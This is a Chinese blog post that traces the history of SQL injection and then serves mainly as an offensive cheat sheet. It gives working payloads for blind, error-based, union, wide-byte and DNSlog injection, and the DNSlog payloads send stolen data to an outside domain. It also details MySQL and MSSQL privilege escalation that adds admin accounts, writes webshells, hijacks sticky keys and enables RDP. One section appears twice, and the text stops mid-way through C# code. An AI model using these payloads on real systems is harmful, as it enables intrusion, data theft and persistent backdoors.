SQL Injection的前世今生浅谈

admin 2024年1月5日18:10:49评论21 views字数 24544阅读81分48秒阅读模式


1998

时光回溯到1998年,这一年是中国证券市场的开端,这一年乌蝇哥在《旺角卡门》里贡献出了在16年火遍大江南北的表情包[^1] ,也是这一年Rain Forest Puppy(RFP)在杂志phrack 54上发表题目为《NT web Technology vulnerabilities》[^2]的文章,在 ---[ ODBC and MS SQL server 6.5 这一节首次提到了SQL注入

1999

1999年2月,Allaire发出警告 “Multiple SQL Statements in Dynamic Queries”[^3]

1999年5月, RFP与Matthew Astley发出警告 “NT ODBC Remote Compromise”

2000

2000年2月,RFP发表文章 “How I hacked Packetstorm – A look at hacking wwthreads via SQL”,披露如何利用SQL注入攻击渗透Packetstorm网站

2000年9月,David Litchfield在Blackhat会议上发表主题演讲“Application Assessments on IIS”

2000年10月,Chip Andrews在SQLSecurity.com 上发表“SQL Injection FAQ ”,首次公开使用“SQL注入”这个术语

2001

2001年4月,David Litchfield 在Blackhat会议上发表主题演讲 “Remote Web Application Disassembly with ODBC Error Messages”

2002

2002年1月,Chris Anley发表论文“Advanced SQL Injection in SQL Server”,首次深度探讨该类攻击

2002年6月,Chris Anley发表论文 “(more) Advanced SQL” ,补充同年1月发表的论文缺少的细节

2004

2004年Blackhat会议上, 0x90.org发布了SQL注入工具SQeaL ( Absinthe的前身)

2006

2006年7月25日,Daniele Bellucci在 SourceForge 上注册了sqlmap项目并添加了对MySQL的有限的支持

同年8月Daniele 添加了对 PostgreSQL 的初步支持并发布了0.1版

至此进入SQL Injection进入自动化时代,我们可以从sqlmap的更新与历史[^4]里窥见SQL Injection发展史的一角

今生

SQL Injection为何

SQL注入是因为后台执行SQL语句时拼接了用户的输入,仅此而已

SQL Injection的分类

按注入点分类

数字型

数字型也就是我们注入点的参数为int类型,在url上大概长下面这个样子:

http://ex.com/query.php?id=1

后端接受数据以php为例:

$query = "select name,age,gender from t_students where id = {$_GET["id"]}";

注入payload:

1 union select 1,database(),3 --

那么后端接受到的数据就会变成:

$query = "select name,age,gender from t_students where id = 1 union select 1,database(),3 -- ";

字符型

数字型也就是我们注入点的参数为str类型,在url上大概长下面这个样子:

http://ex.com/query.php?uname=admin

后端接受数据以php为例:

$query = "select name,age,gender from t_students where uname = '{$_GET['uname']}'";

注入payload:

admin' union select 1,database(),3 --

那么后端接受到的数据会变成:

$query = "select name,age,gender from t_students where uname = 'admin' union select 1,database(),3 --"

搜索型

搜索型也就是我们注入点在搜索框,它后端接受数据大概长这样:

$pwd = &_GET['something']
$query = "select * from commodity where name like '%$something%' order by price";

注入payload:

' and drop table commodity and '%'='

那么后端接受到的数据就会变成:

$query = "select * from commodity where name like '%' and drop table commodity and '%'='%' order by price";

就会删除服务器里的commodity表,现在我们大概了解了sql注入的原理,就是用户的输入被拼接到数据库中执行了那么我们接着看一下其他的分类。

按提交方式分类

get注入

数据是以get方式提交的,注入点一般在get提交的url后面,可以使用的hackbar以及burp suite进行更方便的注入

post注入

数据是以post方式提交的,注入点一般在表单填写处,如资料填写等地方,需使用burp suite之类的抓包工具修改与注入

cookie注入

cookie注入是因为一些获取参数的函数会从cookie中寻找数据而引发的在对方对get和post注入都进行了防御的时候,有可能忽视cookie,所以在get,post直接注入不行的时候可以尝试cookie注入,但其注入的原理与正常注入的原理是一样的

在ASP中如果服务器读取值用的是:

ID = Request("ID")

当WEB服务器没有在get与post中取到数据的时候会去cookie中寻找数据,如果对于从cookie取得的值没有经过处理的话,就会引起cookie注入

如果使用的是:

ID = Request.QueryString("ID") // 获取以GET方式提交的数据
ID = Request.Form("ID")   // 获取以POST方式提交的数据

就不会有cookie注入

http头注入[^5]

先说SQL注入应该不局限于select其他如insertupdatedelete函数也是可以注入的

再说常见的http头注入的参数

    - User-Agent // 是的服务器能识别客户操作系统,浏览器版本等
    - cookie   // 身份鉴别
    - X-Forwarded-For   // XFF头,它代表客户端,也就是HTTP的请求端真实的ip
    - Client-Ip    //同上
    - Rerferer   // 请求来源的上级页面
    - Host    // 指定访问的web服务器域名或ip和端口号
    - ....

当服务器要获取客户端信息,比如获取User-Agent的值并insert into数据库时,就会发生http头注入

常见相关函数:

- UpdateXML(xml_target,xpath_expr,new_xml)
    - 此函数将xml_target中用xpath_expr路径匹配xml片段用new_xml替换,返回更改的xml
    - xml_target被替换的部分与xpath_expr用户提供的xpath表达式匹配
    - 如果找不到表达式匹配xpath_expr项,或找到多个匹配项,则该函数返回原始xml_targetXML片段
    - 三个参数都为字符串

- ExtractVakue(xml_frag,xpath_expr)
- 此函数返回在xml_frag用xpath_expr路径匹配到的xml片段

- floor(x)
- 此函数返回不大于x的最大整数

在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错(详见报错注入),将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回

floor()报错,需要count()、rand()、group by,三者缺一不可 floor(rand(0)*2)每次执行结果是基本固定的——011011… 在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错

以update_xml为例:

$uagent = $_SERVER['HTTP_USER_AGENT']
inset into uaget ('uagent'.'username') values ('$uagent','uname');

当http请求头payload为:

User-Agent:' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)

后端接受到的数据为:

inset into uaget ('uagent'.'username') values ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)','uname');

此时#后面的内容被注释掉了,通过制造报错信息,会把查询到的信息显示出来

http头注入[^5]

先说SQL注入应该不局限于select其他如insertupdatedelete函数也是可以注入的

再说常见的http头注入的参数

    - User-Agent // 是服务器能识别客户操作系统,浏览器版本等
    - cookie   // 身份鉴别
    - X-Forwarded-For   // XFF头,它代表客户端,也就是HTTP的请求端真实的ip
    - Client-Ip    //同上
    - Rerferer   // 请求来源的上级页面
    - Host    // 指定访问的web服务器域名或ip和端口号
    - ....

当服务器要获取客户端信息,比如获取User-Agent的值并insert into数据库时,就会发生http头注入

常见相关函数:

- UpdateXML(xml_target,xpath_expr,new_xml)
    - 此函数将xml_target中用xpath_expr路径匹配xml片段用new_xml替换,返回更改的xml
    - xml_target被替换的部分与xpath_expr用户提供的xpath表达式匹配
    - 如果找不到表达式匹配xpath_expr项,或找到多个匹配项,则该函数返回原始xml_targetXML片段
    - 三个参数都为字符串

- ExtractVakue(xml_frag,xpath_expr)
- 此函数返回在xml_frag用xpath_expr路径匹配到的xml片段

- floor(x)
- 此函数返回不大于x的最大整数

在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错(详见报错注入),将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回

floor()报错,需要count()、rand()、group by,三者缺一不可 floor(rand(0)*2)每次执行结果是基本固定的——011011… 在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错

以update_xml为例:

$uagent = $_SERVER['HTTP_USER_AGENT']
inset into uaget ('uagent'.'username') values ('$uagent','uname');

当http请求头payload为:

User-Agent:' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)

后端接受到的数据为:

inset into uaget ('uagent'.'username') values ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)','uname');

此时#后面的内容被注释掉了,通过制造报错信息,会把查询到的信息显示出来

按执行效果分类

盲注

在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面,需要使用一些特殊的方式来判断是否注入成功的过程就叫盲注[^6]

  • • 布尔盲注

当我们在执行sql语句后,页面只有两种结果,例如返回内容(ture)与不返回内容(flase),这时就可以用过构造逻辑表达式来判断具体内容

布尔盲注会用到的函数:

mid(str,start,length) //字符串截取
ORD()                 //ascii码转换
length()              //统计长度
version()             //查看数据库版本
database()            //查看当前数据库名
user()                //查看当前用户

猜解数据库长度:

'or length(database()) > 8 --+

猜解数据库名:

'or mid(database(),1,1)= 'z' --+   // 因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ // 通过确定ascii码,从而确定数据库名

猜解表总数:

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   //判断表的总数

猜解第一个表名的长度:

'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)

猜解第一个表名:

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100   --+

猜解表的字段的总数:

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+

猜解第一个字段的长度:

'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)

猜解第一个字段名:

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+

直接猜解字段名:

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+

猜解内容长度:

假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+

猜解内容:

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+    // ASCII码猜解

直接猜解内容:

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+
  • • 时间盲注

提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的时间盲注

时间盲注会用到的函数:

Sleep()                           :延迟函数
If(condition,true,false)          :条件语句
mid(str,start,length)             :字符串截取
ORD()                             :转换成ascii码
Length()                          :统计长度
version()                         :查看数据库版本
database()                        :查看当前数据库名
user()                            :查看当前用户

获取数据库总数:

' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))   // 如果数据库总数等于7响应时间为0秒,如果不等于7,相应时间为5秒

猜解当前数据库长度:

' and sleep(if((length(database()) = 8),0,5))--+     //当前数据库名长度为8

猜解当前数据库名:

' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+    //ascii码115 就是 s

猜解当前数据库表的总数:

And sleep(if((注入语句),0,5))   //类似布尔注入推理即可 ,例如:
' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5)) --+

其他的与布尔注入类似,参考构造即可

  • • dnslog盲注[^7]

如上盲注是没有回显结果的,只有靠逻辑表达式判断,那么有没有一种方式是可以使盲注有回显的呢,答案就是Dnslog盲注,如遇MySql的盲注时,可以利用内置函数load_file()来完成DNSLOGload_file()不仅能够加载本地文件,同时也能对诸如www.xxx.com这样的URL发起请求 使用DnsLog盲注仅限于windos环境

其原理就是数据库将查询到的数据拼接到我们设置的域名上,然后去查看DNS解析记录就可以拿到查询到的数据

构造语句:

SELECT LOAD_FILE(CONCAT('\',(select database(),'.github.io\abc')))  -- 通过SQL语句查询内容,作为请求的一部分发送至Dnslog

获取数据库名:

' and load_file(concat('\\',(select database()),'.github.io\abc'))--+

获取数据表:

' and load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.github.io\abc'))--+

获取表中的字段名:

' and load_file(concat('\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.github.io\abc'))--+

获取表中字段下的数据:

' and load_file(concat('\\',(select password from users limit 0,1),'.github.io\abc'))--+
' and load_file(concat('\\',(select username from users limit 0,1),'.github.io\abc'))--+

因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去:

' and load_file(concat('\\',(select hex(group_ws('~',username,password)) from users limit 0,1),'.github.io\abc'))--+

报错注入

报错注入有时也被归类为盲注,通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等

报错注入又分为两种:

  • • 数据库bug报错
  • • 数据库函数报错

数据库BUG报错注入需要的函数:

只要是count(),rand() ,group by 三个函数连用就会造成这种报错
left(rand(),3)     :不一定报错
floor(rand(0)*2)    :一定报错
round(x,d)       :x指要处理的数,d是指保留几位小数
concat()         :字符串拼接

函数报错注入需要的函数:

Updatexml()
Exp()
Geometrycollection()
Polygon()
Multipoint()
Multilinestring()
Multipolygon()
等.....

利用数据库bug报错注入:爆数据库的两种方法:

' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx)
' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx

爆表名:

' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+

爆字段:

' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+

猜解内容:

' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23   -- 逐个猜解内容(详情见布尔注入)

利用特定函数报错注入的流程:

与利用数据库bug报错步骤相同,比如Updatexml()的注入语句如下:

' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+

联合查询

联合查询注入利用的前提条件:

页面上有显示位,什么是显示位呢?在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位

示例代码:

select * form tp_user where id= 1 union select 1,2,database(),4,5;

堆叠注入

堆叠注入(stacked injections)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行,而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加“;”表示语句结束的,这样我们就想到了是不是可以多句一起使用就叫做堆叠注入

示例代码:

select * form users; select * form emails;

宽字节注入[^8]

宽字节注入就是用宽字节去中和掉转义中加的/这个符号

注入原理

PHP中在 magic_quotes_gpc=On 的情况下,提交的参数中如果带有单引号',就会被自动转义',这样就没法闭合单引号了 GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号对应的编码0×5C,0xD5-0×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”

下面分析攻击过程:

/test.php?username=test%d5′%20or%201=1%23

经过浏览器编码,username参数值为(单引号的编码0×27):

username=test%d5%27%20or%201=1%23

经过php的url解码:

username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)

经过PHP的GPC自动转义变成(单引号0×27被转义成'对应的编码0×5c0×27):

username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23

因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为'0×20为空格,0×23为mysql的注释符#

上面的SQL语句最终为:

SELECT * FROM user WHERE username='test诚' or 1=1#;

注释符#后面的字符串已经无效,等价于:

SELECT * FROM user WHERE username='test诚' or 1=1;

条件变成永真,成功注入

补充:

0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头0×5C的字符应该都可以

二次注入

二次注入是通过与数据库服务器进行交互的过程再次进行注入

注入原理

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有'#号,然后下次使用在拼凑SQL中,所以就形成了二次注入

按拼接位置分类

拼接位置没什么好讲的,一笔带过就行

where 注入

order by注入

limit 注入

values 注入

提权

MySql提权

UDF提权

UDF(用户定义函数)是一类对MySQL服务器功能进行扩充的代码,通过添加新函数,性质就像使用本地MySQL函数abs()或concat()

前提条件:

  • • 一个拥有insert和delete权限的账户
  • • MySQL的secure_file_priv不为NULL,且目标目录本身可写
  • • MySQL版本大于5.1时,udf.dll文件须放置于MySQL安装目录下的libplugin文件夹(一般需要手工创建)下
  • • MySQL版本小于5.1时:
  • • Windows2000下须放置于c:Winnt
  • • Windows2003下须放置于c:Windows

udf.dll&udf.so 来源:

sqlmapdataudfmysqllinux&windows // 如需解码用sqlmapextracloakcloak.py解码即可
python3 cloak.py -d -i udf.dll_ - o udf.dll //解码命令,so文件同理

查看mysql有无写入权限:

show global variables like '%secure%' -- secure_file_priv的值为''时,表示不限制权限,值为null表示不允许导入|导出

创建/lib/plugin目录:

select@@basedir;    -- 查找MySQL的目录
select 'udf.ll' into dumpfile'C:\Program Files\MySQL\MySQLServer5.1\lib::$INDEX_ALLOCATION';    -- 利用NTFS ADS创建lib目录
select 'udf.dll' into dumpfile 'C:\Program  Files\MySQL\MySQLServer 5.1\lib\lplugin::$INDEX_ALLOCATION';    -- 利用NTFS ADS创建plugin目录

写入udf.dll文件:

select hex(load_file('path\udf.dll')) into dumpfile 'mysqlpath\lib\plugin\udf.dll'; --  windows下目录结构需要转义双写
select 'hexcode' into dumpfile 'mysqlpath\lib\plugin\udf.dll';  -- 或者直接写入十六进制数据

创建自定义函数:

create function cmdshell returns string soname 'udf.dll';
select * from mysql.func;  --  查看新增的自定义函数

执行函数:

select cmdshell('net user admin12 admin12 /add');

MOF提权

MOF是Windows系统的一类文件(在C:/Windows/System32/wbem/mof/nullevt.mof)叫做托管对象格式,它会每隔五秒就会去监控进程创建和死亡

提权条件:

  • • 目标系统是Windows2000、WindowsXP或Windows2003
  • • MySQL的secure_file_priv不为NULL,且目标目录本身可写
  • • 拥有MySQL数据库的root账号权限
  • • 拥有将MOF文件写入到目录“%SystemRoot%System32WbemMOF”的权限

nullevt.mof 文件内容:

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin 123456 /add")"; //命令执行的地方
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

导入上传的mof文件到C:/Windows/System32/wbem/mof/nullevt.mof即可:

select load_file('my.mof') into dumpfile 'C:\Windows\System32\wbem\mof\nullevt.mof';

删除mof文件:

net stop winmgmt
rmdir /s /q c:windowSystem32wbemrepository
net user admin /delete
net start winmgmt

启动项提权

写入开机启动项然后重启即可

MSSQL提权[^9]

xp_cmdshell提权

xp_cmdshell在低版本中默认开启,由于存在安全隐患,在sqlserver2005以后,xp_cmdshell默认关闭利用xp_cmdshell执行系统命令

判断xp_cmdshell是否存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';  -- 返回1即存在

开关xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;  -- 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;  -- 关闭xp_cmdshell

执行命令:

exec master..xp_cmdshell 'xxx'   --  sqlserver2019被降权为mssql权限

写webshell:

exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\404.aspx' ;

xp_cmdshell被删除,需用sp_addextendedproc重新恢复或自己上传 xplog70.dll 进行恢复:

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

例mssql2012的上传目录:

C:Program FilesMicrosoft SQL ServerMSSQL12.MSSQLSERVERMSSQLBinnxplog70.dll

sp_oacreate和sp_oamethod提权

在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql)sp_oacreate 主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令

判断sp_oacreate是否存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'  -- 返回1即存在

开关sp_oacreate:

-- 开启
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
-- 关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;

利用wscript.shell组件执行命令:

-- 无回显执行系统命令
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami'

-- 回显执行系统命令结果
declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'C:\Windows\System32\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

利用com组件执行命令:

declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\Windows\System32\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

利用filesystemobject写webshell(目录必须存在,否则也会显示成功,但是没有文件写入):

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:phpstudy_prowww1.php', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<?php @eval($_REQUEST["a"]);?>' -- 在sqlserver2019+win server2019中测试,win defender会报毒并删除一句话木马

沙盒提权

沙盒模式是数据库的一种安全功能在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的, 利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动

局限:(1)Microsoft.jet.oledb.4.0一般在32位操作系统上才可以 (2)Windows 2008以上 默认无 Access 数据库文件, 需要自己上传 sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启

开启Ad Hoc Distributed Queries:

-- 开启Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
-- 关闭Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

关闭沙盒模式:

-- 关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
-- 恢复默认沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2;

沙盒模式参数含义:

沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
-- 查看沙盒模式
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

执行系统命令:

-- 执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

SQL Server Agent Job提权

SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业

启动sqlagent:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

执行命令:

use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/1.txt"'  -- 执行命令,并写入1.txt中
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';

查询1.txt:

Use model;
bulk insert readfile from 'C:1.txt'
select * from readfile

xp_regwrite映像劫持提权

xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,利用regwrite函数修改注册表,起到劫持作用利用前提sqlserver系统权限可以修改注册表

判断xp_regwrite是否存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'   -- 返回1即存在

开启xp_regwrite:

-- 开启
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',1;RECONFIGURE
-- 关闭
EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',0;RECONFIGURE

修改注册表来劫持粘滞键,将粘滞键修改为打开cmd 在sqlserver2019+winserver2019中测试,win defender和火绒均会拦截:

-- 劫持注册表
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
-- 查看是否劫持成功
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

劫持成功后连按5次shift会弹出cmd(win defender会拦截弹出的cmd并删除已经劫持的注册表) 还可以修改注册表来开启3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;

CLR

Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成, CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等

开启CLR:

-- 开启CLR
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'clr enabled',1;RECONFIGURE;
-- 关闭CLR
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'clr enabled',0;RECONFIGURE;

当导入了不安全的程序集之后,需将数据库标记为可信任的:

ALTER DATABASE master SET TRUSTWORTHY ON;

做完上述准备之后需要编写一个CLR:

  1. 1. visual studio创建一个sql server数据库项目
  2. 2. 添加SQL CLR C# 存储过程
  3. 3. 写入以下代码:
using System;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void CmdExec (String cmd)
    {
        // Put your code here
        SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
    }

public static string Command(string filename, string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine(stdOutput.ToString());
}
